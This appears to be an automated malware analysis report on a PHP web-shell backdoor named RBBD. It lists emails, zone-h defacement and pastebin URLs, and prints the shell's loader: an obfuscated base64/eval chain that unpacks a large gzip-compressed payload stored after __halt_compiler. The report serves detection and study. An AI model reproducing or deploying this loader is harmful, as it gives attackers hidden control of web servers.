PHP Malware Analysis

RBBD.php

md5: 23d4fe0d19674f6c668355dd1445aee5

Jump to:

Screenshot


Attributes

Emails
  • 13shell37@gmail.com (Traces)
  • serverphpshell@gmail.com (Traces)

Encoding

Environment

Execution

Files

Input

Title
  • RBBD Shell Backdoor (HTML)

URLs
  • http://localhost/uploads/RBBD.php (Traces)
  • http://res7ock.org/assets/img/favicon.png (HTML, Traces)
  • http://www (Traces)
  • http://www.zone-h.com/notify/single (Traces)
  • http://www.zone-h.org/archive/notifier=$nick (Traces)
  • http://www.zone-h.org/archive/notifier=$nick/published=0 (Traces)
  • https://fonts.googleapis.com/css?family=Courgette (HTML, Traces)
  • https://fonts.googleapis.com/css?family=Sarpanch|Teko (HTML, Traces)
  • https://pastebin.com/raw/bsL2gBtu (Traces)
  • https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php (Traces)


Deobfuscated PHP code

<?php

$_getf = array(0 => "<?php", 1 => "", 2 => "\$_getf=file(__FILE__);eval(base64_decode(\"ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYSwgODYzLCAyOTYpOwogICAgICAgIH0gZWxzZWlmICgkX2IgPT0gMSkgewogICAgICAgICAgICAkX2YgPSBzdWJzdHIoJF9hLCAxMTU5LCA0MCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9mID0gdHJpbShzdWJzdHIoJF9hLCAxMTk5KSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAoJF9mKTsKICAgIH0=\"));eval(base64_decode(getmal(\$_getf)));eval(returnmal(getmal(\$_getf,2),getmal(\$_getf,1)));__halt_compiler();ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB976e5328b0a78de6f89f03cd35a82da16b75cdbe27b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//+tO//xUG6q9ff3udO4XHprvd1F4GMIPfXtzj2Zev8818uvstXMe/Fb7crLfuzl2Hv1HqFL6jff0rwzB//fTLYT7z3N0vua+37gmGxjLM/yb/++un//vpX2M6ftq9/rZc7+ev/3XZ3mHp7mCSSJ9ftsupsz78xm6On5j4h3aXa+ovL+7rdlfS0KcIVml9+Cul6GHuLpa734DIvoPvd9j/iolVeOwm4S96vTqJtO/3prGbzvw5NLB+debwGn4Fi/dpu/ZdMsxpMspii87cXr9OycJ8CtchGds0GU38wp2E/MtuHQBRtvlZ/Dbz4fe/nhGIDvKX3XrzG5P+5c9fdrk/XwmV079/+8RB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